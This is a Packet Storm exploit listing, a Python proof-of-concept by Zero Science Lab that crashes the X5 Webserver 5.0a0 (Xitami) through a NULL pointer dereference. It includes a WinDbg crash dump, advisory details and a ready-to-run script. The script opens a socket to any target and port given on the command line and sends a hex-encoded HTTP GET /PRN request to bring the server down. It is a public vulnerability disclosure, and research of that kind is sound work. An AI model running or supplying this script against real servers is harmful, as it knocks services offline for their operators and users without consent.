X5 Webserver 5.0 Remote Denial Of Service

2016-11-30T00:00:00
ID PACKETSTORM:139963
Type packetstorm
Reporter Stefan Petrushevski
Modified 2016-11-30T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
#  
#  
# X5 Webserver 5.0 Remote Denial Of Service Exploit  
#  
#  
# Vendor: iMatrix  
# Product web page: http://www.xitami.com  
# Affected version: 5.0a0  
#  
# Summary: X5 is the latest generation web server from iMatix Corporation.  
# The Xitami product line stretches back to 1996. X5 is built using iMatix's  
# current Base2 technology for multithreading applications. On multicore machines,  
# it is much more scalable than Xitami/2.  
#  
# Desc: The vulnerability is caused due to a NULL pointer dereference when processing  
# malicious HEAD and GET requests. This can be exploited to cause denial of service  
# scenario.  
#  
# ----------------------------------------------------------------------------  
#  
# (12c0.164c): Access violation - code c0000005 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# *** WARNING: Unable to verify checksum for C:\zslab\ws\64327\xitami-5.0a0-windows\xitami.exe  
# *** ERROR: Module load completed but symbols could not be loaded for C:\zslab\ws\64327\xitami-5.0a0-windows\xitami.exe  
# eax=0070904d ebx=03a91808 ecx=0070904d edx=00000000 esi=0478fef4 edi=0478fe8c  
# eip=00503ae0 esp=0478fb28 ebp=0478fb48 iopl=0 nv up ei pl zr na pe nc  
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
# xitami+0x103ae0:  
# 00503ae0 8b02 mov eax,dword ptr [edx] ds:002b:00000000=????????  
# 0:004> kb  
# # ChildEBP RetAddr Args to Child   
# WARNING: Stack unwind information not available. Following frames may be wrong.  
# 00 0478fb48 00460ee6 0ace0840 04025ea0 0478fd78 xitami+0x103ae0  
# 01 0478fe8c 0045f6fa 0ace0bd8 0478ff28 cccccccc xitami+0x60ee6  
# 02 0478fee8 004c60a1 0478ff14 00000000 0478ff38 xitami+0x5f6fa  
# 03 0478ff28 004fdca3 03a90858 03a67e38 00000000 xitami+0xc60a1  
# 04 0478ff40 00510293 03a90858 fc134d7d 00000000 xitami+0xfdca3  
# 05 0478ff7c 00510234 00000000 0478ff94 7679338a xitami+0x110293  
# 06 0478ff88 7679338a 03a91808 0478ffd4 77029902 xitami+0x110234  
# 07 0478ff94 77029902 03a91808 7134bcc2 00000000 kernel32!BaseThreadInitThunk+0xe  
# 08 0478ffd4 770298d5 00510190 03a91808 00000000 ntdll!__RtlUserThreadStart+0x70  
# 09 0478ffec 00000000 00510190 03a91808 00000000 ntdll!_RtlUserThreadStart+0x1b  
#  
# ----------------------------------------------------------------------------  
#  
# Tested on: Microsoft Windows XP Professional SP3 (EN)  
# Microsoft Windows 7 Ultimate SP1 (EN)  
#  
#  
# Vulnerability discovered by Stefan Petrushevski aka sm - <stefan@zeroscience.mk>  
#  
#  
# Advisory ID: ZSL-2016-5377  
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5377.php  
#  
#  
# 15.11.2016  
#  
  
  
import sys, socket  
  
if len(sys.argv) < 3:  
print '------- X5 Webserver 5.0a0 - Remote Denial of Service ------\n'  
print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'  
print 'Example: ' + sys.argv[0] + ' 8.8.8.8 80\n'  
print '------------------------------------------------------------\n'  
sys.exit(0)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect = s.connect((host, port))  
s.settimeout(666)  
payload = (  
'\x47\x45\x54\x20\x2f\x50\x52\x4e\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a'  
'\x48\x6f\x73\x74\x3a\x20\x31\x37\x32\x2e\x31\x39\x2e\x30\x2e\x32\x31\x35\x0d'  
'\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x5a\x53\x4c\x2d\x46\x75'  
'\x7a\x7a\x65\x72\x2d\x41\x67\x65\x6e\x74\x2f\x34\x2e\x30\x2e\x32\x38\x35\x20'  
'\x0d\x0a\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x78\x6d\x6c\x2c'  
'\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x2c\x61\x70\x70'  
'\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c'  
'\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x74\x65\x78'  
'\x74\x2f\x70\x6c\x61\x69\x6e\x3b\x71\x3d\x30\x2e\x38\x2c\x69\x6d\x61\x67\x65'  
'\x2f\x70\x6e\x67\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x41\x63\x63'  
'\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x75\x73'  
'\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45'  
'\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61'  
'\x74\x65\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a'  
'\x20\x49\x53\x4f\x2d\x38\x38\x35\x39\x2d\x31\x2c\x75\x74\x66\x2d\x38\x3b\x71'  
'\x3d\x30\x2e\x37\x2c\x2a\x3b\x71\x3d\x30\x2e\x37\x0d\x0a\x4b\x65\x65\x70\x2d'  
'\x41\x6c\x69\x76\x65\x3a\x20\x33\x30\x30\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74'  
'\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65\x0d\x0a\x0d\x0a'  
)  
  
s.send(payload)  
s.close  
print 'BOOM! \n'  
`